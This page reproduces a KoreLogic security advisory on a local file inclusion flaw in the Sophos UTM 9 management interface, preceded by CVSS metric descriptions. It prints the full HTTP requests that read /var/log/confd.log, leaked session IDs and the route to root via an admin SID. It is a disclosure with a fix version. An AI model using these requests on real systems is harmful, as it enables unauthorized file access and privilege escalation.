The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Below is a copy: Sophos UTM 9 Management Appplication Local File Inclusion
KL-001-2017-021 : Sophos UTM 9 Management Appplication Local File Inclusion
Title: Sophos UTM 9 Management Application Local File Inclusion
Advisory ID: KL-001-2017-021
Publication Date: 2017.10.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-021.txt
1. Vulnerability Details
Affected Vendor: Sophos
Affected Product: UTM 9
Affected Version: 9.410
Platform: Embedded Linux
CWE Classification: CWE-538: File and Directory Information Exposure,
CWE-264: Permissions, Privileges, and Access Controls,
CWE-532: Information Exposure Through Log Files
Impact: Information Disclosure
Attack vector: HTTP
2. Vulnerability Description
Any user is has log viewing rights provisioned can read
arbitrary files from the local filesystem as a limited privilege
user. This can be used to read the confd log file and obtain
root privilege SID values.
3. Technical Description
Any user who has permission to access the 'Logging & Reporting'
functionality within the management application can read
arbitrary files.
POST /webadmin.plx HTTP/1.1
Host: 1.3.3.7:4444
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-Type: application/json; charset=UTF-8
Content-Length: 313
Cookie: SID=SoCKGdoKFmeobxZTEWDz
DNT: 1
Connection: close
{"objs": [{"filename": "/var/log/confd.log", "FID": "log_download_single"}], "SID": "SoCKGdoKFmeobxZTEWDz", "browser":
"gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 0, "RID":
"1491835733989_0.7813499665507969", "current_uuid": "189fb61e-e01b-11da-8017-0014221e9eba", "ipv6": false}
HTTP/1.1 200 OK
Date: Mon, 10 Apr 2017 07:49:51 GMT
Server: Apache
Expires: Thursday, 01-Jan-1970 00:00:01 GMT
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
X-Content-Type-Option: nosniff
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 605
{"SID":"SoCKGdoKFmeobxZTEWDz","ipv6":false,"current_uuid":"189fb61e-e01b-11da-8017-0014221e9eba","browser":"gecko","RID":"1491835733989_0.7813499665507969","js":"if($(\"topbar_icon\")){$(\"topbar_icon\").src=\"core/img/topbar/topbar_user.png\";}toggle_who_is_watching(0);","backend_version":"2","loc":"english","globals_data":["SoCKGdoKFmeobxZTEWDz"],"globals":["SID"],"objs":[{"current_uuid":"189fb61e-e01b-11da-8017-0014221e9eba","FID":"log_download_single","filename":"/var/log/confd.log","js":"start_download('var/SoCKGdoKFmeobxZTEWDz/downloads/singlelogfile/confd-debug.log');"}],"_cookie":null,"wdebug":0}
The start_download() function is JavaScript loaded into the
browser. This function takes the given parameter and uses it
to build the subsequent HTTP GET request.
GET /var/SoCKGdoKFmeobxZTEWDz/downloads/singlelogfile/confd-debug.log HTTP/1.1
Host: 1.3.3.7:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://1.3.3.7:4444/
Cookie: SID=SoCKGdoKFmeobxZTEWDz
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 10 Apr 2017 07:51:02 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
X-Content-Type-Option: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: max-age=31536000
Expires: Tue, 10 Apr 2018 07:51:02 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=utf-8
Content-Length: 2595127
2017:04:02-00:00:01 hostname confd[28056]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="oLwZJzlZQcXRrgpDZtwv"
facility="system" client="ips-reporter.pl" call="new"<31>Apr 2 00:00:01 confd[28056]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="ips-reporter.pl" lock="none" method="get_SID"
2017:04:02-00:00:01 hostname confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none"
method="signal_unsubscribe"
2017:04:02-00:00:01 hostname confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none" method="logout"
2017:04:02-00:00:01 hostname confd[28056]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="oLwZJzlZQcXRrgpDZtwv" facility="system"
client="ips-reporter.pl" call="logout" function="logout"
2017:04:02-00:00:01 hostname confd[28056]: D sys::DESTROY:231() => id="3100" severity="debug" sys="System" sub="confd"
name="worker process exiting" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl"
2017:04:02-00:00:01 hostname confd[28070]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="sJpVhmspOPKYYxNAcfEj"
facility="system" client="spx-password-expire" call="new"<31>Apr 2 00:00:01 confd[28070]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="spx-password-expire" lock="none" method="get_SID"
2017:04:02-00:00:01 hostname confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none" method="get"
2017:04:02-00:00:01 hostname confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none"
method="logout"
2017:04:02-00:00:01 hostname confd[28070]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="sJpVhmspOPKYYxNAcfEj" facility="system"
client="spx-password-expire" call="logout" function="logout"
2017:04:02-00:00:02 hostname confd[28070]: D sys::DESTROY:231() => id="3100" severity="debug" sys="System" sub="confd"
name="worker process exiting" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire"
2017:04:02-00:00:01 hostname confd[28083]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="bgpZDQBWHcNGvvQKTjPj"
facility="system" client="admin-reporter.pl" call="new"<31>Apr 2 00:00:02 confd[28083]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="admin-reporter.pl" lock="none" method="get_SID"
2017:04:02-00:00:01 hostname confd[28086]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="BXeDpxEvboHeDEmaaHEY"
facility="system" client="vpnreporter" call="new"<31>Apr 2 00:00:02 confd[28086]: D sys::AUTOLOAD:303() => id="3100"
severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system"
client="vpnreporter" lock="none" method="get_SID"
2017:04:02-00:00:01 hostname confd[28088]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="SBggtglcePoJTWtmkIMO"
facility="system" client="websecreporter" call="new"<31>Apr 2 00:00:02 confd[28088]: D sys::AUTOLOAD:303() => id="3100"
severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system"
client="websecreporter" lock="none" method="get_SID"
2017:04:02-00:00:02 hostname confd[28086]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="vpnreporter" lock="none"
method="signal_subscribe"
2017:04:02-00:00:02 hostname confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none"
method="signal_unsubscribe"
2017:04:02-00:00:02 hostname confd[28088]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="websecreporter" lock="none"
method="signal_subscribe"
2017:04:02-00:00:02 hostname confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none"
method="logout"
2017:04:02-00:00:02 hostname confd[28083]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="bgpZDQBWHcNGvvQKTjPj" facility="system"
client="admin-reporter.pl" call="logout" function="logout"
...
...
The logging of 'sid' values is also dangerous because it
leaks session identifiers who may be of higher privilege. A
'sid' for the admin account can be used to change the root
and loginuser passwords.
4. Mitigation and Remediation Recommendation
The vendor has addressed this vulnerability in version 9.503. Release notes and download instructions can be found at:
https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-503-released
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.21 - KoreLogic submits vulnerability details to Sophos.
2017.07.21 - Sophos acknowledges receipt.
2017.09.01 - 30 business days have elapsed since the vulnerability
was reported to Sophos.
2017.09.15 - KoreLogic requests an update on the status of this
and other vulnerabilities reported to Sophos.
2017.09.18 - Sophos informs KoreLogic that this issue has been
remediated in release 9.503 for UTM.
2017.10.24 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
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